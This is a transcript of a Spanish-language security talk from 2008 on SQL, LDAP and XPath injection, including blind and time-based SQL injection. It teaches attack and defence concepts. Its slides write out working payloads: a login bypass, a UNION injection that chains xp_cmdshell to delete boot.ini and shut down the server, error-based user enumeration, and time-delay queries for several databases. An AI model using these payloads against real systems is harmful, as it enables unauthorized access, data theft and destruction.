sqlinjection

18
12/04/2008 1 SQL Injection LDAP Injection Xpath Injection …Y a ciegas… Blind SQL Injection Blind LDAP Injection Blind XPAth Injection

Upload: alexav8

Post on 27-Jun-2015

322 views

Category:

Documents


0 download

DESCRIPTION

Charla de Ch en la EST

TRANSCRIPT

Page 1: SQLinjection

12/04/2008

1

►SQL Injection

►LDAP Injection

►Xpath Injection

►…Y a ciegas…

►Blind SQL Injection

►Blind LDAP Injection

►Blind XPAth Injection

Page 2: SQLinjection

12/04/2008

2

►Aplicaciones con mala comprobación de datos de entrada.

� Datos de usuario.

�Formularios

oText

oPassword

oTextarea

oList

omultilist

� Datos de llamadas a procedimientos.

�Links

�Funciones Scripts

�Actions

►Datos de usuario utilizados en consultas a base de datos.

►Mala construcción de consultas a bases de datos.

►Permiten al atacante:

�Saltar restricciones de acceso.

�Elevación de privilegios.

�Extracción de información de la Base de Datos

�Parada de SGBDR.

�Ejecución de comandos en contexto usuario bd dentro del servidor.

Page 3: SQLinjection

12/04/2008

3

►Ejemplo 1:

�Autenticación de usuario contra base de datos.

Select idusuario from tabla_usuarios

Where nombre_usuario=‘$usuario’

And clave=‘$clave’;

Usuario

Clave ****************************************************************

►Ejemplo 1 (cont)

Select idusuario from tabla_usuarios

Where nombre_usuario=‘Administrador’

And clave=‘’ or ‘1’=‘1’;

Usuario

Clave

Administrador

‘ or ‘1’=‘1‘ or ‘1’=‘1‘ or ‘1’=‘1‘ or ‘1’=‘1

Page 4: SQLinjection

12/04/2008

4

►Ejemplo 2:

�Acceso a información con procedimientos de listado.

http://www.miweb.com/prog.asp?parametro1=hola

Ó

http://www.miweb.com/prog.asp?parametro1=1

►Ejemplo 2 (cont):

http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown --

Ó

http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --

Page 5: SQLinjection

12/04/2008

5

►Escrita por Francisco Amato

►Obtener la estructura y datos completa de la BBDD.

�1 Injección para la estructura

�1 post para cada fila

�Totalmente automática

►Soporta “n” bases de datos.

►Descargable (app y source)

�http://www.infobyte.com.ar

►Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc)

►Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value'sys' to data type int. /Programa.asp, line 8

►Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’sys’ order by 1 desc)

Page 6: SQLinjection

12/04/2008

6

Page 7: SQLinjection

12/04/2008

7

Page 8: SQLinjection

12/04/2008

8

►La aplicación Web no muestra ningún mensaje de error.

►La aplicación no procesa nuestros comandos

�Select titulo from tabla where param=$param

►Se inyecta comandos y se busca hacer preguntas de Verdad o Mentira. Ejemplo:

�http://server/miphp.php?id=1 and 1=1

�http://server/miphp.php?id=1 and 1=2

►¿Como reconocer un falso?

�Da un código de error

�Da una página de error

�Cambia el hash de la firma

�Cambia el árbol html

�Tarda más en responder

►Si la página reacciona de forma diferente a la Verdad y a la Mentira, entonces podemos extraer datos haciendo búsquedas:

�http://server/miphp.php?id=1 and 300>(selectascii(substring(username,1,1) from all_users where rownum<=1)

Page 9: SQLinjection

12/04/2008

9

Page 10: SQLinjection

12/04/2008

10

Page 11: SQLinjection

12/04/2008

11

►Si el contenido de la respuesta es idéntico en ambos casos, aún es posible conseguir nuestro objetivo variando condicionalmente el tiempo de respuesta del servidor

�Si la condición inyectada es verdadera, la aplicación tardará unos segundos en contestar

�Si la condición es falsa, la aplicación devolverá la misma respuesta, pero en el tiempo habitual

►Podemos utilizar las mismas técnicas de inyección descritas anteriormente

21

►¿Cómo podemos conseguir el retardo?

�Utilizando instrucciones de retardo implementadas en el propio gestor de bases de datos

�SQL Server: waitfor delay

�Oracle: dbms_lock.sleep

�MySQL: sleep

�Utilizando consultas pesadas que consuman muchos recursos del servidor (CPU o memoria)

�CROSS JOIN que involucren muchas tablas

�De cualquier otra forma (ej: xp_cmdshell 'ping…')

22

Page 12: SQLinjection

12/04/2008

12

►Instrucciones de retardo del propio SGBD

�Microsoft SQL Server

�; if (exists(select * from contrasena)) waitfor delay '0:0:5'

�Oracle

�; begin if (condicion) then dbms_lock.sleep(5); end if; end;

�MySQL (versión 5)

�and exists(select * from contrasena) and sleep(5)

�and exists(select * from contrasena) and benchmark(5000000,md5(rand()))=0

�Microsoft Access no tiene instrucciones de retardo

23

Page 13: SQLinjection

12/04/2008

13

http://elladodelmal.blogspot.com/2007/06/blind-sql-injection-ii-de-hackeando-un.html

►Consultas pesadas

�La clave para generar consultas pesadas está en realizar múltiples operaciones CROSS JOIN

�Ejemplo: Una tabla con 4 registros y 2 columnas combinada consigo misma 10 veces, genera un resultado de 20 columnas y más de un millón de filas

JoinsJoins FilasFilas ColumnasColumnas

1 4 2

2 16 4

3 64 6

4 256 8

5 1024 10

Page 14: SQLinjection

12/04/2008

14

►Consultas pesadas: estructura

�SELECT COUNT(*) FROM tabla T1, tabla T2, …, tabla Tn

�Donde el número de tablas implicadas en el producto cartesiano (CROSS JOIN) sea suficientemente grande como para generar un retardo medible

�Dependiendo del SGDB y de cómo realice la comprobación de las condiciones lógicas introducidas con AND, deberemos establecer nuestra subconsultaSQL antes o después del operador lógico

�AND subconsulta AND consulta_pesada

�AND consulta_pesada AND subconsulta

�http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx

27

►Consultas pesadas: tablas recomendadas

�Microsoft SQL Server

�sysusers

�Oracle

�all_users

�MySQL (versión 5)

�information_schema.columns

�Microsoft Access

�MSysAccessObjects (versiones 97 y 2000)

�MSysAccessStorage (versiones 2003 y 2007)

28

Page 15: SQLinjection

12/04/2008

15

Verdad: La consulta dura 6 segundos.

Falso: La consulta dura 1 segundo.

Page 16: SQLinjection

12/04/2008

16

►7.- Autenticación Rota y Gestión de Sesión

�Partes sin comprobar autenticación

�No procesos de logout seguro.

►8.- Almacenamiento con Criptografía insegura

�Datos sin cifrar o mal cifrados

►9.- Comunicaciones Inseguras

►10.-URLs mal restringidas

�Pueden ser adivinadas o “bruteforceadas”

Page 17: SQLinjection

12/04/2008

17

►Chema Alonso

[email protected]

►http://elladodelmal.blogspot.com

►http://www.informatica64.com

November 2006 34

Technews I64. Suscríbete Gratis en

http://www.informatica64.com/boletines

Page 18: SQLinjection

12/04/2008

18

Blind SQL Injection

http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de-blind.html

Time-Bases Blind SQL Injection with heavy Queries

http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx

LDAP Injection & Blind LDAP Injection

http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap-injection_9021.html

XPath injection in XML databases

http://palisade.plynt.com/issues/2005Jul/xpath-injection/

Blind XPath Injection

http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf

► Milw0rm (Webapps exploits)

http://milw0rm.com/webapps.php